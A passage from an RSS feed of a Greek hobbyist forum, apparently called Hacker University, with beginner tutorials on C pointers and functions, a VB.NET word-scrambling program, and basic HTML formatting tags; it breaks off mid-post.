&#956;&#949;&#964;&#945;&#946;&#955;&#951;&#964;&#942;, &#960;&#949;&#961;&#953;&#941;&#967;&#949;&#953; &#948;&#951;&#955;. &#964;&#951;  &#948;&#953;&#949;&#973;&#952;&#965;&#957;&#963;&#951; &#963;&#964;&#951; &#956;&#957;&#942;&#956;&#951; &#960;&#959;&#965; &#941;&#967;&#949;&#953; &#956;&#953;&#945; &#956;&#949;&#964;&#945;&#946;&#955;&#951;&#964;&#942;. &#915;&#953;&#945; &#957;&#945; &#946;&#961;&#959;&#973;&#956;&#949; &#964;&#951; &#948;&#953;&#949;&#973;&#952;&#965;&#957;&#963;&#951; &#956;&#953;&#945;&#962;  &#956;&#949;&#964;&#945;&#946;&#955;&#951;&#964;&#942;&#962;, &#956;&#960;&#959;&#961;&#959;&#973;&#956;&#949; &#957;&#945; &#967;&#961;&#951;&#963;&#953;&#956;&#959;&#960;&#959;&#953;&#942;&#963;&#959;&#965;&#956;&#949; &#954;&#945;&#953; &#964;&#959;&#957; &#964;&#949;&#955;&#949;&#963;&#964;&#942; &. &#927;&#953; &#948;&#949;&#943;&#954;&#964;&#949;&#962;  &#967;&#961;&#951;&#963;&#953;&#956;&#959;&#960;&#959;&#953;&#959;&#973;&#957;&#964;&#945;&#953; &#954;&#965;&#961;&#943;&#969;&#962; &#947;&#953;&#945; &#957;&#945; &#956;&#960;&#959;&#961;&#949;&#943; &#957;&#945; &#945;&#955;&#955;&#940;&#958;&#949;&#953; &#956;&#953;&#945; &#963;&#965;&#957;&#940;&#961;&#964;&#951;&#963;&#951; &#964;&#953;&#956;&#941;&#962; &#963;&#964;&#959;  &#960;&#961;&#972;&#947;&#961;&#945;&#956;&#956;&#945; &#960;&#959;&#965; &#964;&#951;&#957; &#954;&#940;&#955;&#949;&#963;&#949; (&#954;&#955;&#942;&#963;&#951; &#956;&#949; &#945;&#957;&#945;&#966;&#959;&#961;&#940;).<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->int   *p;                 /* <i>&#959; p &#949;&#943;&#957;&#945;&#953; &#948;&#949;&#943;&#954;&#964;&#951;&#962; &#945;&#954;&#949;&#961;&#945;&#943;&#969;&#957;</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->int  i,  j;                  /* <i>&#959; i &#954;&#945;&#953; &#959; j &#949;&#943;&#957;&#945;&#953; &#945;&#960;&#955;&#959;&#943;  &#945;&#954;&#941;&#961;&#945;&#953;&#959;&#953;</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->p =  &i;                 /* <i>&#959; &#948;&#949;&#943;&#954;&#964;&#951;&#962; p &#948;&#949;&#943;&#967;&#957;&#949;&#953; &#964;&#974;&#961;&#945; &#963;&#964;&#951; &#956;&#949;&#964;&#945;&#946;&#955;&#951;&#964;&#942; i</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->j =  *p;                /*  <i>o j &#941;&#967;&#949;&#953; &#964;&#951;&#957; &#964;&#953;&#956;&#942; &#960;&#959;&#965; &#948;&#949;&#943;&#967;&#957;&#949;&#953; &#959; p, &#948;&#951;&#955;. &#964;&#951;&#957; &#964;&#953;&#956;&#942; &#964;&#959;&#965; i</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->printf("&#951;  &#948;&#953;&#949;&#973;&#952;&#965;&#957;&#963;&#951; &#964;&#959;&#965; i &#949;&#943;&#957;&#945;&#953; : %p", &i);<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#927;&#953; <b><i>&#963;&#965;&#957;&#945;&#961;&#964;&#942;&#963;&#949;&#953;&#962; (functions)</i></b> &#963;&#964;&#951; C &#949;&#943;&#957;&#945;&#953; &#948;&#973;&#959; &#949;&#953;&#948;&#974;&#957;  : &#949;&#954;&#949;&#943;&#957;&#949;&#962; &#960;&#959;&#965; &#948;&#949;&#957; &#949;&#960;&#953;&#963;&#964;&#961;&#941;&#966;&#959;&#965;&#957; &#954;&#940;&#960;&#959;&#953;&#945; &#964;&#953;&#956;&#942; &#963;&#964;&#959; &#972;&#957;&#959;&#956;&#940; &#964;&#959;&#965;&#962; &#942; &#949;&#960;&#953;&#963;&#964;&#961;&#941;&#966;&#959;&#965;&#957; &#948;&#973;&#959; &#942;  &#954;&#945;&#953; &#960;&#945;&#961;&#945;&#960;&#940;&#957;&#969; &#964;&#953;&#956;&#941;&#962; &#954;&#945;&#953; &#948;&#951;&#955;&#974;&#957;&#959;&#957;&#964;&#945;&#953; &#956;&#949; &#964;&#951; &#955;&#941;&#958;&#951; <b><i>void</i></b>  &#954;&#945;&#953; &#949;&#954;&#949;&#943;&#957;&#949;&#962; &#960;&#959;&#965; &#949;&#960;&#953;&#963;&#964;&#961;&#941;&#966;&#959;&#965;&#957; &#956;&#943;&#945; &#954;&#945;&#953; &#956;&#972;&#957;&#959; &#956;&#943;&#945; &#964;&#953;&#956;&#942; &#963;&#964;&#959; &#972;&#957;&#959;&#956;&#940; &#964;&#959;&#965;&#962; &#954;&#945;&#953; &#948;&#951;&#955;&#974;&#957;&#959;&#957;&#964;&#945;&#953;  &#956;&#949; &#964;&#959;&#957; &#964;&#973;&#960;&#959; &#948;&#949;&#948;&#959;&#956;&#941;&#957;&#969;&#957; &#964;&#951;&#962; &#964;&#953;&#956;&#942;&#962; &#960;&#959;&#965; &#949;&#960;&#953;&#963;&#964;&#961;&#941;&#966;&#959;&#965;&#957;, &#948;&#951;&#955;. int, char, long &#954;.&#940;.,  &#960;&#961;&#953;&#957; &#945;&#960;&#972; &#964;&#959; &#972;&#957;&#959;&#956;&#945; &#964;&#951;&#962; &#963;&#965;&#957;&#940;&#961;&#964;&#951;&#963;&#951;&#962;.<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->int  max(a,  B) <!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             int  a, b;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->{<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             int  max;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             if (a &gt; B) <!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->                         max = a;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             else<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->                         max = b;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->return   max;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->}<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->/* <i>&#951; &#963;&#965;&#957;&#940;&#961;&#964;&#951;&#963;&#951;  &#945;&#965;&#964;&#942; &#941;&#967;&#949;&#953; &#948;&#973;&#959; &#945;&#954;&#941;&#961;&#945;&#953;&#945; &#959;&#961;&#943;&#963;&#956;&#945;&#964;&#945;, &#964;&#945; a &#954;&#945;&#953; b, &#954;&#945;&#953; &#956;&#953;&#945; &#964;&#959;&#960;&#953;&#954;&#942; &#956;&#949;&#964;&#945;&#946;&#955;&#951;&#964;&#942;, &#964;&#951; max.  &#917;&#960;&#953;&#963;&#964;&#961;&#941;&#966;&#949;&#953; &#956;&#953;&#945; &#945;&#954;&#941;&#961;&#945;&#953;&#945; &#964;&#953;&#956;&#942;, &#964;&#951; max, &#956;&#949; &#964;&#951; &#967;&#961;&#942;&#963;&#951; &#964;&#951;&#962; &#949;&#957;&#964;&#959;&#955;&#942;&#962; return. &#928;&#961;&#959;&#963;&#941;&#958;&#964;&#949;  &#960;&#959;&#973; &#948;&#951;&#955;&#974;&#957;&#949;&#964;&#945;&#953; &#951; &#954;&#940;&#952;&#949; &#956;&#949;&#964;&#945;&#946;&#955;&#951;&#964;&#942;. &#919; &#949;&#957;&#964;&#959;&#955;&#942; &#960;&#959;&#965; &#954;&#945;-&#955;&#949;&#943; &#964;&#951; &#963;&#965;&#957;&#940;&#961;&#964;&#951;&#963;&#951; max(), &#956;&#960;&#959;&#961;&#949;&#943;  &#957;&#945; &#964;&#951;&#957; &#954;&#945;&#955;&#949;&#943; &#956;&#949; &#945;&#954;&#941;&#961;&#945;&#953;&#945; &#959;&#961;&#943;&#963;&#956;&#945;&#964;&#945; &#963;&#964;&#945;&#952;&#949;&#961;&#974;&#957; &#964;&#953;&#956;&#974;&#957;, &#960;.&#967;. megistos = max(5, 3);,</i><i> </i><i>&#942; &#954;&#945;&#953; &#956;&#949; &#945;&#954;&#941;&#961;&#945;&#953;&#945; &#959;&#961;&#943;&#963;&#956;&#945;&#964;&#945; &#956;&#949;&#964;&#945;&#946;&#955;&#951;&#964;&#974;&#957;, &#960;.&#967;.  megistos = max(i, j);</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->void   blank_lines()<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->{<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             int  i, j;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             printf("&#916;&#974;&#963;&#949; &#941;&#957;&#945;&#957; &#945;&#954;&#941;&#961;&#945;&#953;&#959; : ");<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             scanf("%d", &j);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             for (i=1; i&lt;=j; i++)<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             printf("n");<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->}<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->/* <i>&#945;&#965;&#964;&#942; &#951;  &#963;&#965;&#957;&#940;&#961;&#964;&#951;&#963;&#951; &#949;&#943;&#957;&#945;&#953; &#964;&#959;&#965; &#964;&#973;&#960;&#959;&#965; void, &#948;&#949;&#957; &#948;&#941;&#967;&#949;&#964;&#945;&#953; &#959;&#973;&#964;&#949; &#949;&#960;&#953;&#963;&#964;&#961;&#941;&#966;&#949;&#953; &#954;&#940;&#960;&#959;&#953;&#945; &#964;&#953;&#956;&#942; &#963;&#964;&#951;  &#963;&#965;&#957;&#940;&#961;&#964;&#951;&#963;&#951; &#960;&#959;&#965; &#964;&#951;&#957; &#954;&#945;&#955;&#949;&#943; &#954;&#945;&#953; &#945;&#960;&#955;&#940; &#949;&#956;&#966;&#945;&#957;&#943;&#950;&#949;&#953; &#954;&#949;&#957;&#941;&#962; &#947;&#961;&#945;&#956;&#956;&#941;&#962; &#963;&#964;&#951;&#957; &#959;&#952;&#972;&#957;&#951; &#972;&#963;&#949;&#962; &#966;&#959;&#961;&#941;&#962;  &#964;&#951;&#962; &#960;&#959;&#973;&#956;&#949;. &#922;&#945;&#955;&#949;&#943;&#964;&#945;&#953; &#969;&#962; &#949;&#958;&#942;&#962; : blank_lines();</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->void   exch_values(a, B) <!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             int  *a, *b;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->{<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             int temp;         /* <i>&#964;&#959;&#960;&#953;&#954;&#942;  &#956;&#949;&#964;&#945;&#946;&#955;&#951;&#964;&#942; &#947;&#953;&#945; &#960;&#961;&#959;&#963;&#969;&#961;&#953;&#957;&#942; &#952;&#941;&#963;&#951; &#945;&#960;&#959;&#952;&#942;&#954;&#949;&#965;&#963;&#951;&#962;</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             temp = *a;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             *a = *b;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             *b = temp;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->}<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->/* <i>&#945;&#965;&#964;&#942;</i><i> &#951; &#963;&#965;&#957;&#940;&#961;&#964;&#951;&#963;&#951; &#948;&#941;&#967;&#949;&#964;&#945;&#953; &#948;&#973;&#959; &#945;&#954;&#941;&#961;&#945;&#953;&#949;&#962; &#964;&#953;&#956;&#941;&#962; &#945;&#960;&#972;  &#964;&#959; &#960;&#961;&#972;&#947;&#961;&#945;&#956;&#956;&#945; &#960;&#959;&#965; &#964;&#951;&#957; &#954;&#945;&#955;&#949;&#943; &#954;&#945;&#953; &#945;&#957;&#964;&#945;&#955;&#955;&#940;&#963;&#963;&#949;&#953; &#964;&#953;&#962; &#964;&#953;&#956;&#941;&#962; &#964;&#959;&#965;&#962;. &#917;&#960;&#953;&#963;&#964;&#961;&#941;&#966;&#949;&#953;, &#948;&#951;&#955;.  &#959;&#965;&#963;&#953;&#945;&#963;&#964;&#953;&#954;&#940; &#948;&#973;&#959; &#964;&#953;&#956;&#941;&#962; &#963;&#964;&#959; &#954;&#945;&#955;&#959;&#973;&#957; &#960;&#961;&#972;&#947;&#961;&#945;&#956;&#956;&#945; &#954;&#945;&#953; &#947;&#953;&#945; &#957;&#945; &#947;&#943;&#957;&#949;&#953; &#945;&#965;&#964;&#972;, &#967;&#961;&#951;&#963;&#953;&#956;&#959;&#960;&#959;&#953;&#949;&#943;  &#948;&#949;&#943;&#954;&#964;&#949;&#962; &#963;&#949; &#945;&#954;&#949;&#961;&#945;&#943;&#959;&#965;&#962; &#954;&#945;&#953; &#959;&#953; &#964;&#953;&#956;&#941;&#962; &#960;&#959;&#965; &#948;&#941;&#967;&#949;&#964;&#945;&#953; &#963;&#945;&#957; &#949;&#943;&#963;&#959;&#948;&#959; &#949;&#943;&#957;&#945;&#953; &#959;&#953; &#948;&#953;&#949;&#965;&#952;&#973;&#957;&#963;&#949;&#953;&#962;  &#964;&#969;&#957; &#945;&#954;&#941;&#961;&#945;&#953;&#969;&#957; &#964;&#953;&#956;&#974;&#957; &#960;&#959;&#965; &#952;&#945; &#945;&#957;&#964;&#945;&#955;&#955;&#945;&#947;&#959;&#973;&#957;. &#922;&#945;&#955;&#949;&#943;&#964;&#945;&#953;, &#948;&#951;&#955;., &#969;&#962; &#949;&#958;&#942;&#962; :</i><i> </i><i>exch_values(&m, &n);</i> */.<!--fontc--></span><!--/fontc--><br /><br /><br /><br /><br /><i><b><!--sizeo:3--><span style="font-size:12pt;line-height:100%"><!--/sizeo-->&#927;&#964;&#953;&#948;&#942;&#960;&#959;&#964;&#949; &#945;&#960;&#959;&#961;&#943;&#949;&#962; &#963;&#967;&#972;&#955;&#953;&#945; &#948;&#949;&#954;&#964;&#940;...<!--sizec--></span><!--/sizec--></b></i>]]></description>
		<pubDate>Wed, 22 Apr 2009 08:02:26 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=112</guid>
	</item>
	<item>
		<title><![CDATA[Burnt Pixel's Text Scrambler]]></title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=29</link>
		<description><![CDATA[&#932;&#959; &#960;&#961;&#959;&#947;&#961;&#945;&#956;&#956;&#945;&#964;&#940;&#954;&#953; &#945;&#965;&#964;&#972; &#942;&#964;&#945;&#957; &#960;&#945;&#961;&#945;&#947;&#947;&#949;&#955;&#953;&#940; &#945;&#960;&#972; &#941;&#957;&#945;&#957; &#966;&#943;&#955;&#959;. &#932;&#959; &#956;&#972;&#957;&#959; &#960;&#959;&#965; &#954;&#940;&#957;&#949;&#953; &#949;&#943;&#957;&#945;&#953; &#957;&#945; &#945;&#957;&#945;&#954;&#945;&#964;&#949;&#973;&#949;&#953; &#964;&#965;&#967;&#945;&#953;&#940; &#964;&#945; &#947;&#961;&#940;&#956;&#956;&#945;&#964;&#945; &#964;&#969;&#957; &#955;&#941;&#958;&#949;&#969;&#957; &#964;&#969;&#957; &#960;&#961;&#959;&#964;&#940;&#963;&#949;&#969;&#957; &#960;&#959;&#965; &#949;&#953;&#963;&#940;&#947;&#949;&#964;&#949;.<br />&#915;&#953;&#945; &#960;&#945;&#961;&#940;&#948;&#949;&#953;&#947;&#956;&#945;, &#951; &#960;&#961;&#972;&#964;&#945;&#963;&#951; <br />Scramble this sentence so that I cannot read it <br />&#952;&#945; &#947;&#943;&#957;&#949;&#953;: <br />Sclabmre tihs snetence so taht I cnnoat raed it<br /><br />&#920;&#945; &#964;&#959; &#946;&#961;&#949;&#943;&#964;&#949; &#949;&#948;&#974; (rapidshare)<br /><a href="http://pxrt.info/?0WT6FR6dzx" target="_blank">http://pxrt.info/?0WT6FR6dzx</a><br /><br />&#927; &#954;&#974;&#948;&#953;&#954;&#945;&#962; &#960;&#959;&#965; &#954;&#940;&#957;&#949;&#953; &#964;&#951;&#957; &#972;&#955;&#951; &#948;&#959;&#965;&#955;&#949;&#953;&#940; &#945;&#960;&#955;&#972;&#962;. &#931;&#967;&#949;&#964;&#953;&#954;&#940; &#948;&#951;&#955;&#945;&#948;&#942;...<br /><br /><div class='codetop'>CODE</div><div class='codemain' style='height:200px;white-space:pre;overflow:auto'>    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click<br />        Dim MyArray = Split(txt1.Text)<br />        txt1.Text = ""<br />        Dim temp As String<br />        For i = 0 To UBound(MyArray)<br />            temp = scrambleWord(MyArray(i))<br />            txt1.Text = txt1.Text + temp<br />            If i &lt; UBound(MyArray) Then txt1.Text = txt1.Text + " "<br />        Next<br /><br />    End Sub<br />    Function scrambleWord(ByVal word As String)<br />        If Len(word) &lt;= 2 Then<br />            scrambleWord = word<br />            Exit Function<br />        End If<br /><br />        Dim ArraytoRandomize(Len(word) - 2)<br />        Dim UsedSlots(Len(word) - 2)<br />        Dim StoreArray(Len(word) - 2)<br />        Dim first As String<br />        Dim last As String<br />        Dim x As Integer<br />        Dim storestring = ""<br />        first = Mid(word, 1, 1)<br />        last = Mid(word, Len(word), 1)<br />        For o = 2 To Len(word) - 1<br />            ArraytoRandomize(o - 2) = Mid(word, o, 1)<br />        Next<br />        Dim emptyslots<br />        Dim counter = 0<br />        Do<br />            counter = counter + 1<br />            emptyslots = 0<br />            For i = 0 To Len(word) - 3<br />                If UsedSlots(i) = 0 Then emptyslots = 1<br />            Next<br />            Randomize()<br />            x = Int(Rnd() * (Len(word) - 2))<br />            If UsedSlots(x) = 0 Then<br />                'MsgBox("usedslots " + UsedSlots(x) + " Arraytorandomize " + ArraytoRandomize(x) + " Storearray " + StoreArray(x))<br />                StoreArray(counter) = ArraytoRandomize(x)<br />                UsedSlots(x) = 1<br />            Else<br />                counter = counter - 1<br />            End If<br />        Loop While counter &lt; Len(word) - 2<br />        For i = 0 To Len(word) - 2<br />            storestring = storestring + StoreArray(i)<br />        Next<br />        scrambleWord = first + storestring + last<br />    End Function</div><br /><br />&#928;&#961;&#959;&#962; &#949;&#954;&#956;&#940;&#952;&#951;&#963;&#951; &#954;&#945;&#953; &#949;&#960;&#945;&#957;&#945;&#967;&#961;&#951;&#963;&#953;&#956;&#959;&#960;&#959;&#943;&#951;&#963;&#951;]]></description>
		<pubDate>Wed, 04 Mar 2009 18:26:54 +0200</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=29</guid>
	</item>
	<item>
		<title>Center, right, left</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=34</link>
		<description><![CDATA[<div align='center'>&#915;&#953;&#945; &#957;&#945; &#948;&#959;&#973;&#956;&#949; &#964;&#974;&#961;&#945; &#960;&#969;&#962; &#947;&#943;&#957;&#949;&#964;&#945;&#953; &#951; &#963;&#964;&#959;&#943;&#967;&#953;&#963;&#951;...<br /><br />&#913;&#957; &#952;&#941;&#955;&#959;&#965;&#956;&#949; &#957;&#945; &#947;&#961;&#940;&#968;&#959;&#965;&#956;&#949; &#956;&#953;&#945; &#955;&#941;&#958;&#951; &#942; &#966;&#961;&#940;&#963;&#951; &#963;&#964;&#959; &#954;&#941;&#957;&#964;&#961;&#959;, &#945;&#961;&#954;&#949;&#943; &#957;&#945; &#964;&#951; &#946;&#940;&#955;&#959;&#965;&#956;&#949; &#956;&#941;&#963;&#945; &#963;&#949; tags &#964;&#951;&#962; &#956;&#959;&#961;&#966;&#942;&#962;:<br /><br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->&#60;center&#62;&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;&#60;/center&#62;<!--c2--></div><!--ec2--><br /><br />&#932;&#959; &#945;&#960;&#959;&#964;&#941;&#955;&#949;&#963;&#956;&#945; &#952;&#945; &#949;&#943;&#957;&#945;&#953;:<br /><br />&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;<br /><br /><br /><br />&#915;&#953;&#945; &#957;&#945; &#963;&#964;&#959;&#953;&#967;&#943;&#963;&#959;&#965;&#956;&#949; &#956;&#953;&#945; &#966;&#961;&#940;&#963;&#951; &#948;&#949;&#958;&#953;&#940; &#952;&#945; &#967;&#961;&#951;&#963;&#953;&#956;&#959;&#960;&#959;&#953;&#942;&#963;&#959;&#965;&#956;&#949; tags &#964;&#951;&#962; &#956;&#959;&#961;&#966;&#942;&#962;:<br /><br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->&#60;div align=&#34;right&#34;&#62;&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;&#60;/div&#62;<!--c2--></div><!--ec2--><br /><br />&#932;&#959; &#945;&#960;&#959;&#964;&#941;&#955;&#949;&#963;&#956;&#945; &#952;&#945; &#949;&#943;&#957;&#945;&#953;:<br /><br />                                                                                   &#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;<br /><br /><br />&#915;&#953;&#945; &#957;&#945; &#947;&#961;&#940;&#968;&#959;&#965;&#956;&#949; &#956;&#953;&#945; &#955;&#941;&#958;&#951; &#942; &#966;&#961;&#940;&#963;&#951; &#945;&#961;&#953;&#963;&#964;&#949;&#961;&#940; &#959;&#965;&#963;&#953;&#945;&#963;&#964;&#953;&#954;&#940; &#948;&#949; &#967;&#961;&#949;&#953;&#945;&#950;&#972;&#956;&#945;&#963;&#964;&#949; &#954;&#945;&#957;&#941;&#957;&#945; tag... &#913;&#957; &#972;&#956;&#969;&#962; &#947;&#953;&#945; &#959;&#960;&#959;&#953;&#959;&#948;&#942;&#960;&#959;&#964;&#949; &#955;&#972;&#947;&#959; &#964;&#959; &#967;&#961;&#949;&#953;&#945;&#963;&#964;&#949;&#943;&#964;&#949; &#949;&#943;&#957;&#945;&#953;:<br /><br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->&#60;div align=&#34;left&#34;&#62;&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;&#60;/div&#62;<!--c2--></div><!--ec2--><br /><br />&#932;&#959; &#945;&#960;&#959;&#964;&#941;&#955;&#949;&#963;&#956;&#945; &#952;&#945; &#949;&#943;&#957;&#945;&#953; </div><div align='left'>&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;</div><div align='center'><br /><br /><br /></div>]]></description>
		<pubDate>Sat, 07 Mar 2009 22:14:25 +0200</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=34</guid>
	</item>
	<item>
		<title>Bold, italic, underlined</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=33</link>
		<description><![CDATA[<div align='center'>&#913;&#962; &#958;&#949;&#954;&#953;&#957;&#942;&#963;&#959;&#965;&#956;&#949; &#945;&#960;&#972; &#964;&#945; &#946;&#945;&#963;&#953;&#954;&#940;...<br />&#915;&#953;&#945; &#957;&#945; &#947;&#961;&#940;&#968;&#959;&#965;&#956;&#949; &#956;&#953;&#945; &#955;&#941;&#958;&#951; &#956;&#949; <b>&#941;&#957;&#964;&#959;&#957;&#945; &#947;&#961;&#940;&#956;&#956;&#945;&#964;&#945; (bold)</b> &#945;&#961;&#954;&#949;&#943; &#957;&#945; &#964;&#951; &#946;&#940;&#955;&#959;&#965;&#956;&#949; &#956;&#941;&#963;&#945; &#963;&#949; tags &#964;&#951;&#962; &#956;&#959;&#961;&#966;&#942;&#962;:<br /><br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->&#60;b&#62;&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;&#60;/b&#62;<!--c2--></div><!--ec2--><br /><br />&#932;&#959; &#945;&#960;&#959;&#964;&#941;&#955;&#949;&#963;&#956;&#945; &#952;&#945; &#949;&#943;&#957;&#945;&#953;:<br /><br /><b>&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;</b><br /><br />&#928;&#945;&#961;&#940;&#948;&#949;&#953;&#947;&#956;&#945;:<br /><br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->&#922;&#945;&#955;&#974;&#962; &#942;&#961;&#952;&#945;&#964;&#949; &#963;&#964;&#959; site &#964;&#959;&#965; &#60;b&#62;Hacker University&#60;/b&#62;!<!--c2--></div><!--ec2--><br /><br />&#922;&#945;&#955;&#974;&#962; &#942;&#961;&#952;&#945;&#964;&#949; &#963;&#964;&#959; site &#964;&#959;&#965; <b>Hacker University!</b><br /></div><div align='center'>&#915;&#953;&#945; &#957;&#945; &#947;&#961;&#940;&#968;&#959;&#965;&#956;&#949; &#956;&#953;&#945; &#955;&#941;&#958;&#951; &#956;&#949; <i>&#960;&#955;&#940;&#947;&#953;&#945; &#947;&#961;&#940;&#956;&#956;&#945;&#964;&#945; (italic)</i> &#952;&#945; &#967;&#961;&#951;&#963;&#953;&#956;&#959;&#960;&#959;&#953;&#942;&#963;&#959;&#965;&#956;&#949; tags &#964;&#951;&#962; &#956;&#959;&#961;&#966;&#942;&#962;:<br /><br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->&#60;i&#62;&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;&#60;/i&#62;<!--c2--></div><!--ec2--><br /><br />&#932;&#959; &#945;&#960;&#959;&#964;&#941;&#955;&#949;&#963;&#956;&#945; &#952;&#945; &#949;&#943;&#957;&#945;&#953;:<br /><br /><i>&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;</i><br /><br />&#928;&#945;&#961;&#940;&#948;&#949;&#953;&#947;&#956;&#945;:<br /><br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->&#922;&#945;&#955;&#974;&#962; &#942;&#961;&#952;&#945;&#964;&#949; &#963;&#964;&#959; site &#964;&#959;&#965; &#60;i&#62;Hacker University&#60;/i&#62;!<!--c2--></div><!--ec2--><br /><br />&#922;&#945;&#955;&#974;&#962; &#942;&#961;&#952;&#945;&#964;&#949; 